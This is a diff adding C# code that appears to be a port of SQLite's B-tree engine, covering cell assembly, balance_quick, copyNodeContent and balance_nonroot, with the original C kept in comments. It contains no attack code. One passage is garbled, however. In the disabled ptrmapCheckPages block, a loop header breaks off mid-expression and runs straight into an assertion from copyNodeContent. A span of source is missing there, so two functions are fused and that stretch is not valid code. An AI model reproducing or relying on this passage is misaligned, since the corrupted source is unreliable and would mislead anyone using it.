Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert( pPage.nCell == 0 ); + Debug.Assert( get2byte( data, hdr + 5 ) == nUsable ); + + pCellptr = pPage.cellOffset + nCell * 2; //&data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for ( i = nCell - 1; i >= 0; i-- ) + { + pCellptr -= 2; + cellbody -= aSize[i]; + put2byte( data, pCellptr, cellbody ); + Buffer.BlockCopy( apCell, 0, data, cellbody, aSize[i] );//memcpy( data[cellbody], apCell[i], aSize[i] ); + } + put2byte( data, hdr + 3, nCell ); + put2byte( data, hdr + 5, cellbody ); + pPage.nFree -= (u16)( nCell * 2 + nUsable - cellbody ); + pPage.nCell = (u16)nCell; +} + +/* +** The following parameters determine how many adjacent pages get involved +** in a balancing operation. NN is the number of neighbors on either side +** of the page that participate in the balancing operation. NB is the +** total number of pages that participate, including the target page and +** NN neighbors on either side. +** +** The minimum value of NN is 1 (of course). Increasing NN above 1 +** (to 2 or 3) gives a modest improvement in SELECT and DELETE performance +** in exchange for a larger degradation in INSERT and UPDATE performance. +** The value of NN appears to give the best results overall. +*/ +static int NN = 1; /* Number of neighbors on either side of pPage */ +static int NB = ( NN * 2 + 1 ); /* Total pages involved in the balance */ + +#if !SQLITE_OMIT_QUICKBALANCE +/* +** This version of balance() handles the common special case where +** a new entry is being inserted on the extreme right-end of the +** tree, in other words, when the new entry will become the largest +** entry in the tree. +** +** Instead of trying to balance the 3 right-most leaf pages, just add +** a new page to the right-hand side and put the one new entry in +** that page. This leaves the right side of the tree somewhat +** unbalanced. But odds are that we will be inserting new entries +** at the end soon afterwards so the nearly empty page will quickly +** fill up. On average. +** +** pPage is the leaf page which is the right-most page in the tree. +** pParent is its parent. pPage must have a single overflow entry +** which is also the right-most entry on the page. +** +** The pSpace buffer is used to store a temporary copy of the divider +** cell that will be inserted into pParent. Such a cell consists of a 4 +** byte page number followed by a variable length integer. In other +** words, at most 13 bytes. Hence the pSpace buffer must be at +** least 13 bytes in size. +*/ +static int balance_quick( MemPage pParent, MemPage pPage, u8[] pSpace ) +{ + BtShared pBt = pPage.pBt; /* B-Tree Database */ + MemPage pNew = new MemPage();/* Newly allocated page */ + int rc; /* Return Code */ + Pgno pgnoNew = 0; /* Page number of pNew */ + + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( sqlite3PagerIswriteable( pParent.pDbPage ) ); + Debug.Assert( pPage.nOverflow == 1 ); + + /* This error condition is now caught prior to reaching this function */ + if ( pPage.nCell <= 0 ) + return SQLITE_CORRUPT_BKPT(); + + /* Allocate a new page. This page will become the right-sibling of + ** pPage. Make the parent page writable, so that the new divider cell + ** may be inserted. If both these operations are successful, proceed. + */ + rc = allocateBtreePage( pBt, ref pNew, ref pgnoNew, 0, 0 ); + + if ( rc == SQLITE_OK ) + { + + int pOut = 4;//u8 pOut = &pSpace[4]; + u8[] pCell = pPage.aOvfl[0].pCell; + int[] szCell = new int[1]; + szCell[0] = cellSizePtr( pPage, pCell ); + int pStop; + + Debug.Assert( sqlite3PagerIswriteable( pNew.pDbPage ) ); + Debug.Assert( pPage.aData[0] == ( PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF ) ); + zeroPage( pNew, PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF ); + assemblePage( pNew, 1, pCell, szCell ); + + /* If this is an auto-vacuum database, update the pointer map + ** with entries for the new page, and any pointer from the + ** cell on the page to an overflow page. If either of these + ** operations fails, the return code is set, but the contents + ** of the parent page are still manipulated by thh code below. + ** That is Ok, at this point the parent page is guaranteed to + ** be marked as dirty. Returning an error code will cause a + ** rollback, undoing any changes made to the parent page. + */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + ptrmapPut( pBt, pgnoNew, PTRMAP_BTREE, pParent.pgno, ref rc ); + if ( szCell[0] > pNew.minLocal ) + { + ptrmapPutOvflPtr( pNew, pCell, ref rc ); + } + } + + /* Create a divider cell to insert into pParent. The divider cell + ** consists of a 4-byte page number (the page number of pPage) and + ** a variable length key value (which must be the same value as the + ** largest key on pPage). + ** + ** To find the largest key value on pPage, first find the right-most + ** cell on pPage. The first two fields of this cell are the + ** record-length (a variable length integer at most 32-bits in size) + ** and the key value (a variable length integer, may have any value). + ** The first of the while(...) loops below skips over the record-length + ** field. The second while(...) loop copies the key value from the + ** cell on pPage into the pSpace buffer. + */ + int iCell = findCell( pPage, pPage.nCell - 1 ); //pCell = findCell( pPage, pPage.nCell - 1 ); + pCell = pPage.aData; + int _pCell = iCell; + pStop = _pCell + 9; //pStop = &pCell[9]; + while ( ( ( pCell[_pCell++] ) & 0x80 ) != 0 && _pCell < pStop ) + ; //while ( ( *( pCell++ ) & 0x80 ) && pCell < pStop ) ; + pStop = _pCell + 9;//pStop = &pCell[9]; + while ( ( ( pSpace[pOut++] = pCell[_pCell++] ) & 0x80 ) != 0 && _pCell < pStop ) + ; //while ( ( ( *( pOut++ ) = *( pCell++ ) ) & 0x80 ) && pCell < pStop ) ; + + /* Insert the new divider cell into pParent. */ + insertCell( pParent, pParent.nCell, pSpace, pOut, //(int)(pOut-pSpace), + null, pPage.pgno, ref rc ); + + /* Set the right-child pointer of pParent to point to the new page. */ + sqlite3Put4byte( pParent.aData, pParent.hdrOffset + 8, pgnoNew ); + + /* Release the reference to the new page. */ + releasePage( pNew ); + } + + return rc; +} +#endif //* SQLITE_OMIT_QUICKBALANCE */ + +#if FALSE +/* +** This function does not contribute anything to the operation of SQLite. +** it is sometimes activated temporarily while debugging code responsible +** for setting pointer-map entries. +*/ +static int ptrmapCheckPages(MemPage **apPage, int nPage){ +int i, j; +for(i=0; i= iToHdr ); + Debug.Assert( get2byte( aFrom, iFromHdr + 5 ) <= (int)pBt.usableSize ); + + /* Copy the b-tree node content from page pFrom to page pTo. */ + iData = get2byte( aFrom, iFromHdr + 5 ); + Buffer.BlockCopy( aFrom, iData, aTo, iData, (int)pBt.usableSize - iData );//memcpy(aTo[iData], ref aFrom[iData], pBt.usableSize-iData); + Buffer.BlockCopy( aFrom, iFromHdr, aTo, iToHdr, pFrom.cellOffset + 2 * pFrom.nCell );//memcpy(aTo[iToHdr], ref aFrom[iFromHdr], pFrom.cellOffset + 2*pFrom.nCell); + + /* Reinitialize page pTo so that the contents of the MemPage structure + ** match the new data. The initialization of pTo can actually fail under + ** fairly obscure circumstances, even though it is a copy of initialized + ** page pFrom. + */ + pTo.isInit = 0; + rc = btreeInitPage( pTo ); + if ( rc != SQLITE_OK ) + { + pRC = rc; + return; + } + + /* If this is an auto-vacuum database, update the pointer-map entries + ** for any b-tree or overflow pages that pTo now contains the pointers to. + */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + pRC = setChildPtrmaps( pTo ); + } + } +} + +/* +** This routine redistributes cells on the iParentIdx'th child of pParent +** (hereafter "the page") and up to 2 siblings so that all pages have about the +** same amount of free space. Usually a single sibling on either side of the +** page are used in the balancing, though both siblings might come from one +** side if the page is the first or last child of its parent. If the page +** has fewer than 2 siblings (something which can only happen if the page +** is a root page or a child of a root page) then all available siblings +** participate in the balancing. +** +** The number of siblings of the page might be increased or decreased by +** one or two in an effort to keep pages nearly full but not over full. +** +** Note that when this routine is called, some of the cells on the page +** might not actually be stored in MemPage.aData[]. This can happen +** if the page is overfull. This routine ensures that all cells allocated +** to the page and its siblings fit into MemPage.aData[] before returning. +** +** In the course of balancing the page and its siblings, cells may be +** inserted into or removed from the parent page (pParent). Doing so +** may cause the parent page to become overfull or underfull. If this +** happens, it is the responsibility of the caller to invoke the correct +** balancing routine to fix this problem (see the balance() routine). +** +** If this routine fails for any reason, it might leave the database +** in a corrupted state. So if this routine fails, the database should +** be rolled back. +** +** The third argument to this function, aOvflSpace, is a pointer to a +** buffer big enough to hold one page. If while inserting cells into the parent +** page (pParent) the parent page becomes overfull, this buffer is +** used to store the parent's overflow cells. Because this function inserts +** a maximum of four divider cells into the parent page, and the maximum +** size of a cell stored within an internal node is always less than 1/4 +** of the page-size, the aOvflSpace[] buffer is guaranteed to be large +** enough for all overflow cells. +** +** If aOvflSpace is set to a null pointer, this function returns +** SQLITE_NOMEM. +*/ + +// under C#; Try to reuse Memory + +static int balance_nonroot( +MemPage pParent, /* Parent page of siblings being balanced */ +int iParentIdx, /* Index of "the page" in pParent */ +u8[] aOvflSpace, /* page-size bytes of space for parent ovfl */ +int isRoot /* True if pParent is a root-page */ +) +{ + MemPage[] apOld = new MemPage[NB]; /* pPage and up to two siblings */ + MemPage[] apCopy = new MemPage[NB]; /* Private copies of apOld[] pages */ + MemPage[] apNew = new MemPage[NB + 2];/* pPage and up to NB siblings after balancing */ + int[] apDiv = new int[NB - 1]; /* Divider cells in pParent */ + int[] cntNew = new int[NB + 2]; /* Index in aCell[] of cell after i-th page */ + int[] szNew = new int[NB + 2]; /* Combined size of cells place on i-th page */ + u16[] szCell = new u16[1]; /* Local size of all cells in apCell[] */ + BtShared pBt; /* The whole database */ + int nCell = 0; /* Number of cells in apCell[] */ + int nMaxCells = 0; /* Allocated size of apCell, szCell, aFrom. */ + int nNew = 0; /* Number of pages in apNew[] */ + int nOld; /* Number of pages in apOld[] */ + int i, j, k; /* Loop counters */ + int nxDiv; /* Next divider slot in pParent.aCell[] */ + int rc = SQLITE_OK; /* The return code */ + u16 leafCorrection; /* 4 if pPage is a leaf. 0 if not */ + int leafData; /* True if pPage is a leaf of a LEAFDATA tree */ + int usableSpace; /* Bytes in pPage beyond the header */ + int pageFlags; /* Value of pPage.aData[0] */ + int subtotal; /* Subtotal of bytes in cells on one page */ + //int iSpace1 = 0; /* First unused byte of aSpace1[] */ + int iOvflSpace = 0; /* First unused byte of aOvflSpace[] */ + int szScratch; /* Size of scratch memory requested */ + int pRight; /* Location in parent of right-sibling pointer */ + u8[][] apCell = null; /* All cells begin balanced */ + //u16[] szCell; /* Local size of all cells in apCell[] */ + //u8[] aSpace1; /* Space for copies of dividers cells */ + Pgno pgno; /* Temp var to store a page number in */ + + pBt = pParent.pBt; + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( sqlite3PagerIswriteable( pParent.pDbPage ) ); + +#if FALSE +TRACE("BALANCE: begin page %d child of %d\n", pPage.pgno, pParent.pgno); +#endif + + /* At this point pParent may have at most one overflow cell. And if +** this overflow cell is present, it must be the cell with +** index iParentIdx. This scenario comes about when this function +** is called (indirectly) from sqlite3BtreeDelete(). +*/ + Debug.Assert( pParent.nOverflow == 0 || pParent.nOverflow == 1 ); + Debug.Assert( pParent.nOverflow == 0 || pParent.aOvfl[0].idx == iParentIdx ); + + //if( !aOvflSpace ){ + // return SQLITE_NOMEM; + //} + + /* Find the sibling pages to balance. Also locate the cells in pParent + ** that divide the siblings. An attempt is made to find NN siblings on + ** either side of pPage. More siblings are taken from one side, however, + ** if there are fewer than NN siblings on the other side. If pParent + ** has NB or fewer children then all children of pParent are taken. + ** + ** This loop also drops the divider cells from the parent page. This + ** way, the remainder of the function does not have to deal with any + ** overflow cells in the parent page, since if any existed they will + ** have already been removed. + */ + i = pParent.nOverflow + pParent.nCell; + if ( i < 2 ) + { + nxDiv = 0; + nOld = i + 1; + } + else + { + nOld = 3; + if ( iParentIdx == 0 ) + { + nxDiv = 0; + } + else if ( iParentIdx == i ) + { + nxDiv = i - 2; + } + else + { + nxDiv = iParentIdx - 1; + } + i = 2; + } + if ( ( i + nxDiv - pParent.nOverflow ) == pParent.nCell ) + { + pRight = pParent.hdrOffset + 8; //&pParent.aData[pParent.hdrOffset + 8]; + } + else + { + pRight = findCell( pParent, i + nxDiv - pParent.nOverflow ); + } + pgno = sqlite3Get4byte( pParent.aData, pRight ); + while ( true ) + { + rc = getAndInitPage( pBt, pgno, ref apOld[i] ); + if ( rc != 0 ) + { + //memset(apOld, 0, (i+1)*sizeof(MemPage*)); + goto balance_cleanup; + } + nMaxCells += 1 + apOld[i].nCell + apOld[i].nOverflow; + if ( ( i-- ) == 0 ) + break; + + if ( i + nxDiv == pParent.aOvfl[0].idx && pParent.nOverflow != 0 ) + { + apDiv[i] = 0;// = pParent.aOvfl[0].pCell; + pgno = sqlite3Get4byte( pParent.aOvfl[0].pCell, apDiv[i] ); + szNew[i] = cellSizePtr( pParent, apDiv[i] ); + pParent.nOverflow = 0; + } + else + { + apDiv[i] = findCell( pParent, i + nxDiv - pParent.nOverflow ); + pgno = sqlite3Get4byte( pParent.aData, apDiv[i] ); + szNew[i] = cellSizePtr( pParent, apDiv[i] ); + + /* Drop the cell from the parent page. apDiv[i] still points to + ** the cell within the parent, even though it has been dropped. + ** This is safe because dropping a cell only overwrites the first + ** four bytes of it, and this function does not need the first + ** four bytes of the divider cell. So the pointer is safe to use + ** later on. + ** + ** Unless SQLite is compiled in secure-delete mode. In this case, + ** the dropCell() routine will overwrite the entire cell with zeroes. + ** In this case, temporarily copy the cell into the aOvflSpace[] + ** buffer. It will be copied out again as soon as the aSpace[] buffer + ** is allocated. */ + //if (pBt.secureDelete) + //{ + // int iOff = (int)(apDiv[i]) - (int)(pParent.aData); //SQLITE_PTR_TO_INT(apDiv[i]) - SQLITE_PTR_TO_INT(pParent.aData); + // if( (iOff+szNew[i])>(int)pBt->usableSize ) + // { + // rc = SQLITE_CORRUPT_BKPT(); + // Array.Clear(apOld[0].aData,0,apOld[0].aData.Length); //memset(apOld, 0, (i + 1) * sizeof(MemPage*)); + // goto balance_cleanup; + // } + // else + // { + // memcpy(&aOvflSpace[iOff], apDiv[i], szNew[i]); + // apDiv[i] = &aOvflSpace[apDiv[i] - pParent.aData]; + // } + //} + dropCell( pParent, i + nxDiv - pParent.nOverflow, szNew[i], ref rc ); + } + } + + /* Make nMaxCells a multiple of 4 in order to preserve 8-byte + ** alignment */ + nMaxCells = ( nMaxCells + 3 ) & ~3; + + /* + ** Allocate space for memory structures + */ + //k = pBt.pageSize + ROUND8(sizeof(MemPage)); + //szScratch = + // nMaxCells*sizeof(u8*) /* apCell */ + // + nMaxCells*sizeof(u16) /* szCell */ + // + pBt.pageSize /* aSpace1 */ + // + k*nOld; /* Page copies (apCopy) */ + apCell = sqlite3ScratchMalloc( apCell, nMaxCells ); + //if( apCell==null ){ + // rc = SQLITE_NOMEM; + // goto balance_cleanup; + //} + if ( szCell.Length < nMaxCells ) + Array.Resize( ref szCell, nMaxCells ); //(u16*)&apCell[nMaxCells]; + //aSpace1 = new byte[pBt.pageSize * (nMaxCells)];// aSpace1 = (u8*)&szCell[nMaxCells]; + //Debug.Assert( EIGHT_BYTE_ALIGNMENT(aSpace1) ); + + /* + ** Load pointers to all cells on sibling pages and the divider cells + ** into the local apCell[] array. Make copies of the divider cells + ** into space obtained from aSpace1[] and remove the the divider Cells + ** from pParent. + ** + ** If the siblings are on leaf pages, then the child pointers of the + ** divider cells are stripped from the cells before they are copied + ** into aSpace1[]. In this way, all cells in apCell[] are without + ** child pointers. If siblings are not leaves, then all cell in + ** apCell[] include child pointers. Either way, all cells in apCell[] + ** are alike. + ** + ** leafCorrection: 4 if pPage is a leaf. 0 if pPage is not a leaf. + ** leafData: 1 if pPage holds key+data and pParent holds only keys. + */ + leafCorrection = (u16)( apOld[0].leaf * 4 ); + leafData = apOld[0].hasData; + for ( i = 0; i < nOld; i++ ) + { + int limit; + + /* Before doing anything else, take a copy of the i'th original sibling + ** The rest of this function will use data from the copies rather + ** that the original pages since the original pages will be in the + ** process of being overwritten. */ + //MemPage pOld = apCopy[i] = (MemPage*)&aSpace1[pBt.pageSize + k*i]; + //memcpy(pOld, apOld[i], sizeof(MemPage)); + //pOld.aData = (void*)&pOld[1]; + //memcpy(pOld.aData, apOld[i].aData, pBt.pageSize); + MemPage pOld = apCopy[i] = apOld[i].Copy(); + + limit = pOld.nCell + pOld.nOverflow; + if( pOld.nOverflow>0 || true){ + for ( j = 0; j < limit; j++ ) + { + Debug.Assert( nCell < nMaxCells ); + //apCell[nCell] = findOverflowCell( pOld, j ); + //szCell[nCell] = cellSizePtr( pOld, apCell, nCell ); + int iFOFC = findOverflowCell( pOld, j ); + szCell[nCell] = cellSizePtr( pOld, iFOFC ); + // Copy the Data Locally + if ( apCell[nCell] == null ) + apCell[nCell] = new u8[szCell[nCell]]; + else if ( apCell[nCell].Length < szCell[nCell] ) + Array.Resize( ref apCell[nCell], szCell[nCell] ); + if ( iFOFC < 0 ) // Overflow Cell + Buffer.BlockCopy( pOld.aOvfl[-( iFOFC + 1 )].pCell, 0, apCell[nCell], 0, szCell[nCell] ); + else + Buffer.BlockCopy( pOld.aData, iFOFC, apCell[nCell], 0, szCell[nCell] ); + nCell++; + } + } + else + { + u8[] aData = pOld.aData; + u16 maskPage = pOld.maskPage; + u16 cellOffset = pOld.cellOffset; + for ( j = 0; j < limit; j++ ) + { + Debugger.Break(); + Debug.Assert( nCell < nMaxCells ); + apCell[nCell] = findCellv2( aData, maskPage, cellOffset, j ); + szCell[nCell] = cellSizePtr( pOld, apCell[nCell] ); + nCell++; + } + } + if ( i < nOld - 1 && 0 == leafData ) + { + u16 sz = (u16)szNew[i]; + byte[] pTemp = sqlite3Malloc( sz + leafCorrection ); + Debug.Assert( nCell < nMaxCells ); + szCell[nCell] = sz; + //pTemp = &aSpace1[iSpace1]; + //iSpace1 += sz; + Debug.Assert( sz <= pBt.maxLocal + 23 ); + //Debug.Assert(iSpace1 <= (int)pBt.pageSize); + Buffer.BlockCopy( pParent.aData, apDiv[i], pTemp, 0, sz );//memcpy( pTemp, apDiv[i], sz ); + if ( apCell[nCell] == null || apCell[nCell].Length < sz ) + Array.Resize( ref apCell[nCell], sz ); + Buffer.BlockCopy( pTemp, leafCorrection, apCell[nCell], 0, sz );//apCell[nCell] = pTemp + leafCorrection; + Debug.Assert( leafCorrection == 0 || leafCorrection == 4 ); + szCell[nCell] = (u16)( szCell[nCell] - leafCorrection ); + if ( 0 == pOld.leaf ) + { + Debug.Assert( leafCorrection == 0 ); + Debug.Assert( pOld.hdrOffset == 0 ); + /* The right pointer of the child page pOld becomes the left + ** pointer of the divider cell */ + Buffer.BlockCopy( pOld.aData, 8, apCell[nCell], 0, 4 );//memcpy( apCell[nCell], ref pOld.aData[8], 4 ); + } + else + { + Debug.Assert( leafCorrection == 4 ); + if ( szCell[nCell] < 4 ) + { + /* Do not allow any cells smaller than 4 bytes. */ + szCell[nCell] = 4; + } + } + nCell++; + } + } + + /* + ** Figure out the number of pages needed to hold all nCell cells. + ** Store this number in "k". Also compute szNew[] which is the total + ** size of all cells on the i-th page and cntNew[] which is the index + ** in apCell[] of the cell that divides page i from page i+1. + ** cntNew[k] should equal nCell. + ** + ** Values computed by this block: + ** + ** k: The total number of sibling pages + ** szNew[i]: Spaced used on the i-th sibling page. + ** cntNew[i]: Index in apCell[] and szCell[] for the first cell to + ** the right of the i-th sibling page. + ** usableSpace: Number of bytes of space available on each sibling. + ** + */ + usableSpace = (int)pBt.usableSize - 12 + leafCorrection; + for ( subtotal = k = i = 0; i < nCell; i++ ) + { + Debug.Assert( i < nMaxCells ); + subtotal += szCell[i] + 2; + if ( subtotal > usableSpace ) + { + szNew[k] = subtotal - szCell[i]; + cntNew[k] = i; + if ( leafData != 0 ) + { + i--; + } + subtotal = 0; + k++; + if ( k > NB + 1 ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto balance_cleanup; + } + } + } + szNew[k] = subtotal; + cntNew[k] = nCell; + k++; + + /* + ** The packing computed by the previous block is biased toward the siblings + ** on the left side. The left siblings are always nearly full, while the + ** right-most sibling might be nearly empty. This block of code attempts + ** to adjust the packing of siblings to get a better balance. + ** + ** This adjustment is more than an optimization. The packing above might + ** be so out of balance as to be illegal. For example, the right-most + ** sibling might be completely empty. This adjustment is not optional. + */ + for ( i = k - 1; i > 0; i-- ) + { + int szRight = szNew[i]; /* Size of sibling on the right */ + int szLeft = szNew[i - 1]; /* Size of sibling on the left */ + int r; /* Index of right-most cell in left sibling */ + int d; /* Index of first cell to the left of right sibling */ + + r = cntNew[i - 1] - 1; + d = r + 1 - leafData; + Debug.Assert( d < nMaxCells ); + Debug.Assert( r < nMaxCells ); + while ( szRight == 0 || szRight + szCell[d] + 2 <= szLeft - ( szCell[r] + 2 ) ) + { + szRight += szCell[d] + 2; + szLeft -= szCell[r] + 2; + cntNew[i - 1]--; + r = cntNew[i - 1] - 1; + d = r + 1 - leafData; + } + szNew[i] = szRight; + szNew[i - 1] = szLeft; + } + + /* Either we found one or more cells (cntnew[0])>0) or pPage is + ** a virtual root page. A virtual root page is when the real root + ** page is page 1 and we are the only child of that page. + */ + Debug.Assert( cntNew[0] > 0 || ( pParent.pgno == 1 && pParent.nCell == 0 ) ); + + TRACE( "BALANCE: old: %d %d %d ", + apOld[0].pgno, + nOld >= 2 ? apOld[1].pgno : 0, + nOld >= 3 ? apOld[2].pgno : 0 + ); + + /* + ** Allocate k new pages. Reuse old pages where possible. + */ + if ( apOld[0].pgno <= 1 ) + { + rc = SQLITE_CORRUPT_BKPT(); + goto balance_cleanup; + } + pageFlags = apOld[0].aData[0]; + for ( i = 0; i < k; i++ ) + { + MemPage pNew = new MemPage(); + if ( i < nOld ) + { + pNew = apNew[i] = apOld[i]; + apOld[i] = null; + rc = sqlite3PagerWrite( pNew.pDbPage ); + nNew++; + if ( rc != 0 ) + goto balance_cleanup; + } + else + { + Debug.Assert( i > 0 ); + rc = allocateBtreePage( pBt, ref pNew, ref pgno, pgno, 0 ); + if ( rc != 0 ) + goto balance_cleanup; + apNew[i] = pNew; + nNew++; + + /* Set the pointer-map entry for the new sibling page. */ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + ptrmapPut( pBt, pNew.pgno, PTRMAP_BTREE, pParent.pgno, ref rc ); + if ( rc != SQLITE_OK ) + { + goto balance_cleanup; + } + } + } + } + + /* Free any old pages that were not reused as new pages. + */ + while ( i < nOld ) + { + freePage( apOld[i], ref rc ); + if ( rc != 0 ) + goto balance_cleanup; + releasePage( apOld[i] ); + apOld[i] = null; + i++; + } + + /* + ** Put the new pages in accending order. This helps to + ** keep entries in the disk file in order so that a scan + ** of the table is a linear scan through the file. That + ** in turn helps the operating system to deliver pages + ** from the disk more rapidly. + ** + ** An O(n^2) insertion sort algorithm is used, but since + ** n is never more than NB (a small constant), that should + ** not be a problem. + ** + ** When NB==3, this one optimization makes the database + ** about 25% faster for large insertions and deletions. + */ + for ( i = 0; i < k - 1; i++ ) + { + int minV = (int)apNew[i].pgno; + int minI = i; + for ( j = i + 1; j < k; j++ ) + { + if ( apNew[j].pgno < (u32)minV ) + { + minI = j; + minV = (int)apNew[j].pgno; + } + } + if ( minI > i ) + { + MemPage pT; + pT = apNew[i]; + apNew[i] = apNew[minI]; + apNew[minI] = pT; + } + } + TRACE( "new: %d(%d) %d(%d) %d(%d) %d(%d) %d(%d)\n", + apNew[0].pgno, szNew[0], + nNew >= 2 ? apNew[1].pgno : 0, nNew >= 2 ? szNew[1] : 0, + nNew >= 3 ? apNew[2].pgno : 0, nNew >= 3 ? szNew[2] : 0, + nNew >= 4 ? apNew[3].pgno : 0, nNew >= 4 ? szNew[3] : 0, + nNew >= 5 ? apNew[4].pgno : 0, nNew >= 5 ? szNew[4] : 0 ); + + Debug.Assert( sqlite3PagerIswriteable( pParent.pDbPage ) ); + sqlite3Put4byte( pParent.aData, pRight, apNew[nNew - 1].pgno ); + + /* + ** Evenly distribute the data in apCell[] across the new pages. + ** Insert divider cells into pParent as necessary. + */ + j = 0; + for ( i = 0; i < nNew; i++ ) + { + /* Assemble the new sibling page. */ + MemPage pNew = apNew[i]; + Debug.Assert( j < nMaxCells ); + zeroPage( pNew, pageFlags ); + assemblePage( pNew, cntNew[i] - j, apCell, szCell, j ); + Debug.Assert( pNew.nCell > 0 || ( nNew == 1 && cntNew[0] == 0 ) ); + Debug.Assert( pNew.nOverflow == 0 ); + + j = cntNew[i]; + + /* If the sibling page assembled above was not the right-most sibling, + ** insert a divider cell into the parent page. + */ + Debug.Assert( i < nNew - 1 || j == nCell ); + if ( j < nCell ) + { + u8[] pCell; + u8[] pTemp; + int sz; + + Debug.Assert( j < nMaxCells ); + pCell = apCell[j]; + sz = szCell[j] + leafCorrection; + pTemp = sqlite3Malloc( sz );//&aOvflSpace[iOvflSpace]; + if ( 0 == pNew.leaf ) + { + Buffer.BlockCopy( pCell, 0, pNew.aData, 8, 4 );//memcpy( pNew.aData[8], pCell, 4 ); + } + else if ( leafData != 0 ) + { + /* If the tree is a leaf-data tree, and the siblings are leaves, + ** then there is no divider cell in apCell[]. Instead, the divider + ** cell consists of the integer key for the right-most cell of + ** the sibling-page assembled above only. + */ + CellInfo info = new CellInfo(); + j--; + btreeParseCellPtr( pNew, apCell[j], ref info ); + pCell = pTemp; + sz = 4 + putVarint( pCell, 4, (u64)info.nKey ); + pTemp = null; + } + else + { + //------------ pCell -= 4; + byte[] _pCell_4 = sqlite3Malloc( pCell.Length + 4 ); + Buffer.BlockCopy( pCell, 0, _pCell_4, 4, pCell.Length ); + pCell = _pCell_4; + // + /* Obscure case for non-leaf-data trees: If the cell at pCell was + ** previously stored on a leaf node, and its reported size was 4 + ** bytes, then it may actually be smaller than this + ** (see btreeParseCellPtr(), 4 bytes is the minimum size of + ** any cell). But it is important to pass the correct size to + ** insertCell(), so reparse the cell now. + ** + ** Note that this can never happen in an SQLite data file, as all + ** cells are at least 4 bytes. It only happens in b-trees used + ** to evaluate "IN (SELECT ...)" and similar clauses. + */ + if ( szCell[j] == 4 ) + { + Debug.Assert( leafCorrection == 4 ); + sz = cellSizePtr( pParent, pCell ); + } + } + iOvflSpace += sz; + Debug.Assert( sz <= pBt.maxLocal + 23 ); + Debug.Assert( iOvflSpace <= (int)pBt.pageSize ); + insertCell( pParent, nxDiv, pCell, sz, pTemp, pNew.pgno, ref rc ); + if ( rc != SQLITE_OK ) + goto balance_cleanup; + Debug.Assert( sqlite3PagerIswriteable( pParent.pDbPage ) ); + + j++; + nxDiv++; + } + } + Debug.Assert( j == nCell ); + Debug.Assert( nOld > 0 ); + Debug.Assert( nNew > 0 ); + if ( ( pageFlags & PTF_LEAF ) == 0 ) + { + Buffer.BlockCopy( apCopy[nOld - 1].aData, 8, apNew[nNew - 1].aData, 8, 4 ); //u8* zChild = &apCopy[nOld - 1].aData[8]; + //memcpy( apNew[nNew - 1].aData[8], zChild, 4 ); + } + + if ( isRoot != 0 && pParent.nCell == 0 && pParent.hdrOffset <= apNew[0].nFree ) + { + /* The root page of the b-tree now contains no cells. The only sibling + ** page is the right-child of the parent. Copy the contents of the + ** child page into the parent, decreasing the overall height of the + ** b-tree structure by one. This is described as the "balance-shallower" + ** sub-algorithm in some documentation. + ** + ** If this is an auto-vacuum database, the call to copyNodeContent() + ** sets all pointer-map entries corresponding to database image pages + ** for which the pointer is stored within the content being copied. + ** + ** The second Debug.Assert below verifies that the child page is defragmented + ** (it must be, as it was just reconstructed using assemblePage()). This + ** is important if the parent page happens to be page 1 of the database + ** image. */ + Debug.Assert( nNew == 1 ); + Debug.Assert( apNew[0].nFree == + ( get2byte( apNew[0].aData, 5 ) - apNew[0].cellOffset - apNew[0].nCell * 2 ) + ); + copyNodeContent( apNew[0], pParent, ref rc ); + freePage( apNew[0], ref rc ); + } + else +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + /* Fix the pointer-map entries for all the cells that were shifted around. + ** There are several different types of pointer-map entries that need to + ** be dealt with by this routine. Some of these have been set already, but + ** many have not. The following is a summary: + ** + ** 1) The entries associated with new sibling pages that were not + ** siblings when this function was called. These have already + ** been set. We don't need to worry about old siblings that were + ** moved to the free-list - the freePage() code has taken care + ** of those. + ** + ** 2) The pointer-map entries associated with the first overflow + ** page in any overflow chains used by new divider cells. These + ** have also already been taken care of by the insertCell() code. + ** + ** 3) If the sibling pages are not leaves, then the child pages of + ** cells stored on the sibling pages may need to be updated. + ** + ** 4) If the sibling pages are not internal intkey nodes, then any + ** overflow pages used by these cells may need to be updated + ** (internal intkey nodes never contain pointers to overflow pages). + ** + ** 5) If the sibling pages are not leaves, then the pointer-map + ** entries for the right-child pages of each sibling may need + ** to be updated. + ** + ** Cases 1 and 2 are dealt with above by other code. The next + ** block deals with cases 3 and 4 and the one after that, case 5. Since + ** setting a pointer map entry is a relatively expensive operation, this + ** code only sets pointer map entries for child or overflow pages that have + ** actually moved between pages. */ + MemPage pNew = apNew[0]; + MemPage pOld = apCopy[0]; + int nOverflow = pOld.nOverflow; + int iNextOld = pOld.nCell + nOverflow; + int iOverflow = ( nOverflow != 0 ? pOld.aOvfl[0].idx : -1 ); + j = 0; /* Current 'old' sibling page */ + k = 0; /* Current 'new' sibling page */ + for ( i = 0; i < nCell; i++ ) + { + int isDivider = 0; + while ( i == iNextOld ) + { + /* Cell i is the cell immediately following the last cell on old + ** sibling page j. If the siblings are not leaf pages of an + ** intkey b-tree, then cell i was a divider cell. */ + pOld = apCopy[++j]; + iNextOld = i + ( 0 == leafData ? 1 : 0 ) + pOld.nCell + pOld.nOverflow; + if ( pOld.nOverflow != 0 ) + { + nOverflow = pOld.nOverflow; + iOverflow = i + ( 0 == leafData ? 1 : 0 ) + pOld.aOvfl[0].idx; + } + isDivider = 0 == leafData ? 1 : 0; + } + + Debug.Assert( nOverflow > 0 || iOverflow < i ); + Debug.Assert( nOverflow < 2 || pOld.aOvfl[0].idx == pOld.aOvfl[1].idx - 